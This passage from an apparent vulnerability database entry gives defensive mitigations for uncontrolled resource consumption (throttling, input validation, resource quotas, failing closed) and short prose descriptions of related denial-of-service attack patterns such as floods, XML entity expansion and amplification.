"type": "CVSS_V3"
}
]
}
Mitigation
Clearly specify the minimum and maximum expectations for capabilities, and dictate which behaviors are acceptable when resource allocation reaches limits.
Mitigation
Limit the amount of resources that are accessible to unprivileged users. Set per-user limits for resources. Allow the system administrator to define these limits. Be careful to avoid CWE-410.
Mitigation
Design throttling mechanisms into the system architecture. The best protection is to limit the amount of resources that an unauthorized user can cause to be expended. A strong authentication and access control model will help prevent such attacks from occurring in the first place, and it will help the administrator to identify who is committing the abuse. The login application should be protected against DoS attacks as much as possible. Limiting the database access, perhaps by caching result sets, can help minimize the resources expended. To further limit the potential for a DoS attack, consider tracking the rate of requests received from users and blocking requests that exceed a defined rate threshold.
Mitigation MIT-5
Strategy: Input Validation
- Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.
- When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."
- Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.
Mitigation MIT-15
For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.
Mitigation
- Mitigation of resource exhaustion attacks requires that the target system either:
- The first of these solutions is an issue in itself though, since it may allow attackers to prevent the use of the system by a particular valid user. If the attacker impersonates the valid user, they may be able to prevent the user from accessing the server in question.
- The second solution can be difficult to effectively institute -- and even when properly done, it does not provide a full solution. It simply requires more resources on the part of the attacker.
- recognizes the attack and denies that user further access for a given amount of time, typically by using increasing time delays
- uniformly throttles all requests in order to make it more difficult to consume resources more quickly than they can again be freed.
Mitigation
Ensure that protocols have specific limits of scale placed on them.
Mitigation MIT-38.1
- If the program must fail, ensure that it fails gracefully (fails closed). There may be a temptation to simply let the program fail poorly in cases such as low memory conditions, but an attacker may be able to assert control before the software has fully exited. Alternately, an uncontrolled failure could cause cascading problems with other downstream components; for example, the program could send a signal to a downstream process so the process immediately knows that a problem has occurred and has a better chance of recovery.
- Ensure that all failures in resource allocation place the system into a safe posture.
Mitigation MIT-47
Strategy: Resource Limitation
- Use quotas or other resource-limiting settings provided by the operating system or environment. For example, when managing system resources in POSIX, setrlimit() can be used to set limits for certain types of resources, and getrlimit() can determine how many resources are available. However, these functions are not available on all operating systems.
- When the current levels get close to the maximum that is defined for the application (see CWE-770), then limit the allocation of further resources to privileged users; alternately, begin releasing resources for less-privileged users. While this mitigation may protect the system from attack, it will not necessarily stop attackers from adversely impacting other users.
- Ensure that the application performs the appropriate error checks and error handling in case resources become unavailable (CWE-703).
CAPEC-125: Flooding
An adversary consumes the resources of a target by rapidly engaging in a large number of interactions with the target. This type of attack generally exposes a weakness in rate limiting or flow. When successful this attack prevents legitimate users from accessing the service and can cause the target to crash. This attack differs from resource depletion through leaks or allocations in that the latter attacks do not rely on the volume of requests made to the target but instead focus on manipulation of the target's operations. The key factor in a flooding attack is the number of requests the adversary can make in a given period of time. The greater this number, the more likely an attack is to succeed against a given target.
CAPEC-130: Excessive Allocation
An adversary causes the target to allocate excessive resources to servicing the attackers' request, thereby reducing the resources available for legitimate services and degrading or denying services. Usually, this attack focuses on memory allocation, but any finite resource on the target could be the attacked, including bandwidth, processing cycles, or other resources. This attack does not attempt to force this allocation through a large number of requests (that would be Resource Depletion through Flooding) but instead uses one or a small number of requests that are carefully formatted to force the target to allocate excessive resources to service this request(s). Often this attack takes advantage of a bug in the target to cause the target to allocate resources vastly beyond what would be needed for a normal request.
CAPEC-147: XML Ping of the Death
An attacker initiates a resource depletion attack where a large number of small XML messages are delivered at a sufficiently rapid rate to cause a denial of service or crash of the target. Transactions such as repetitive SOAP transactions can deplete resources faster than a simple flooding attack because of the additional resources used by the SOAP protocol and the resources necessary to process SOAP messages. The transactions used are immaterial as long as they cause resource utilization on the target. In other words, this is a normal flooding attack augmented by using messages that will require extra processing on the target.
CAPEC-197: Exponential Data Expansion
An adversary submits data to a target application which contains nested exponential data expansion to produce excessively large output. Many data format languages allow the definition of macro-like structures that can be used to simplify the creation of complex structures. However, this capability can be abused to create excessive demands on a processor's CPU and memory. A small number of nested expansions can result in an exponential growth in demands on memory.
CAPEC-229: Serialized Data Parameter Blowup
This attack exploits certain serialized data parsers (e.g., XML, YAML, etc.) which manage data in an inefficient manner. The attacker crafts an serialized data file with multiple configuration parameters in the same dataset. In a vulnerable parser, this results in a denial of service condition where CPU resources are exhausted because of the parsing algorithm. The weakness being exploited is tied to parser implementation and not language specific.
CAPEC-230: Serialized Data with Nested Payloads
Applications often need to transform data in and out of a data format (e.g., XML and YAML) by using a parser. It may be possible for an adversary to inject data that may have an adverse effect on the parser when it is being processed. Many data format languages allow the definition of macro-like structures that can be used to simplify the creation of complex structures. By nesting these structures, causing the data to be repeatedly substituted, an adversary can cause the parser to consume more resources while processing, causing excessive memory consumption and CPU utilization.
CAPEC-231: Oversized Serialized Data Payloads
An adversary injects oversized serialized data payloads into a parser during data processing to produce adverse effects upon the parser such as exhausting system resources and arbitrary code execution.
CAPEC-469: HTTP DoS
An attacker performs flooding at the HTTP level to bring down only a particular web application rather than anything listening on a TCP/IP connection. This denial of service attack requires substantially fewer packets to be sent which makes DoS harder to detect. This is an equivalent of SYN flood in HTTP. The idea is to keep the HTTP session alive indefinitely and then repeat that hundreds of times. This attack targets resource depletion weaknesses in web server software. The web server will wait to attacker's responses on the initiated HTTP sessions while the connection threads are being exhausted.
CAPEC-482: TCP Flood
An adversary may execute a flooding attack using the TCP protocol with the intent to deny legitimate users access to a service. These attacks exploit the weakness within the TCP protocol where there is some state information for the connection the server needs to maintain. This often involves the use of TCP SYN messages.
CAPEC-486: UDP Flood
An adversary may execute a flooding attack using the UDP protocol with the intent to deny legitimate users access to a service by consuming the available network bandwidth. Additionally, firewalls often open a port for each UDP connection destined for a service with an open UDP port, meaning the firewalls in essence save the connection state thus the high packet nature of a UDP flood can also overwhelm resources allocated to the firewall. UDP attacks can also target services like DNS or VoIP which utilize these protocols. Additionally, due to the session-less nature of the UDP protocol, the source of a packet is easily spoofed making it difficult to find the source of the attack.
CAPEC-487: ICMP Flood
An adversary may execute a flooding attack using the ICMP protocol with the intent to deny legitimate users access to a service by consuming the available network bandwidth. A typical attack involves a victim server receiving ICMP packets at a high rate from a wide range of source addresses. Additionally, due to the session-less nature of the ICMP protocol, the source of a packet is easily spoofed making it difficult to find the source of the attack.
CAPEC-488: HTTP Flood
An adversary may execute a flooding attack using the HTTP protocol with the intent to deny legitimate users access to a service by consuming resources at the application layer such as web services and their infrastructure. These attacks use legitimate session-based HTTP GET requests designed to consume large amounts of a server's resources. Since these are legitimate sessions this attack is very difficult to detect.
CAPEC-489: SSL Flood
An adversary may execute a flooding attack using the SSL protocol with the intent to deny legitimate users access to a service by consuming all the available resources on the server side. These attacks take advantage of the asymmetric relationship between the processing power used by the client and the processing power used by the server to create a secure connection. In this manner the attacker can make a large number of HTTPS requests on a low provisioned machine to tie up a disproportionately large number of resources on the server. The clients then continue to keep renegotiating the SSL connection. When multiplied by a large number of attacking machines, this attack can result in a crash or loss of service to legitimate users.
CAPEC-490: Amplification
An adversary may execute an amplification where the size of a response is far greater than that of the request that generates it. The goal of this attack is to use a relatively few resources to create a large amount of traffic against a target server. To execute this attack, an adversary send a request to a 3rd party service, spoofing the source address to be that of the target server. The larger response that is generated by the 3rd party service is then sent to the target server. By sending a large number of initial requests, the adversary can generate a tremendous amount of traffic directed at the target. The greater the discrepancy in size between the initial request and the final payload delivered to the target increased the effectiveness of this attack.
CAPEC-491: Quadratic Data Expansion
An adversary exploits macro-like substitution to cause a denial of service situation due to excessive memory being allocated to fully expand the data. The result of this denial of service could cause the application to freeze or crash. This involves defining a very large entity and using it multiple times in a single entity substitution. CAPEC-197 is a similar attack pattern, but it is easier to discover and defend against. This attack pattern does not perform multi-level substitution and therefore does not obviously appear to consume extensive resources.
CAPEC-493: SOAP Array Blowup
An adversary may execute an attack on a web service that uses SOAP messages in communication. By sending a very large SOAP array declaration to the web service, the attacker forces the web service to allocate space for the array elements before they are parsed by the XML parser. The attacker message is typically small in size containing a large array declaration of say 1,000,000 elements and a couple of array elements. This attack targets exhaustion of the memory resources of the web service.
CAPEC-494: TCP Fragmentation
An adversary may execute a TCP Fragmentation attack against a target with the intention of avoiding filtering rules of network controls, by attempting to fragment the TCP packet such that the headers flag field is pushed into the second fragment which typically is not filtered.
CAPEC-495: UDP Fragmentation
An attacker may execute a UDP Fragmentation attack against a target server in an attempt to consume resources such as bandwidth and CPU. IP fragmentation occurs when an IP datagram is larger than the MTU of the route the datagram has to traverse. Typically the attacker will use large UDP packets over 1500 bytes of data which forces fragmentation as ethernet MTU is 1500 bytes. This attack is a variation on a typical UDP flood but it enables more network bandwidth to be consumed with fewer packets. Additionally it has the potential to consume server CPU resources and fill memory buffers associated with the processing and reassembling of fragmented packets.
CAPEC-496: ICMP Fragmentation
An attacker may execute a ICMP Fragmentation attack against a target with the intention of consuming resources or causing a crash. The attacker crafts a large number of identical fragmented IP packets containing a portion of a fragmented ICMP message. The attacker these sends these messages to a target host which causes the host to become non-responsive. Another vector may be sending a fragmented ICMP message to a target host with incorrect sizes in the header which causes the host to hang.
CAPEC-528: XML Flood
An adversary may execute a flooding attack using XML messages with the intent to deny legitimate users access to a web service. These attacks are accomplished by sending a large number of XML based requests and letting the service attempt to parse each one. In many cases this type of an attack will result in a XML Denial of Service (XDoS) due to an application becoming unstable, freezing, or crashing.